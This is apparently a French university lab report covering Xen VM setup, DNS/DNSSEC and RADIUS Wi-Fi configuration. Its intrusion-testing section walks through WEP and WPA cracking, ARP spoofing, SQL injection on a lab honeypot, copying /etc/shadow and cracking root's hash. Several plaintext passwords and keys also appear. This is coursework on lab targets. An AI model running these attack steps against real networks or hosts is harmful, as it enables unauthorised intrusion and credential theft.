		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57984"/>
				<updated>2022-01-12T12:07:05Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
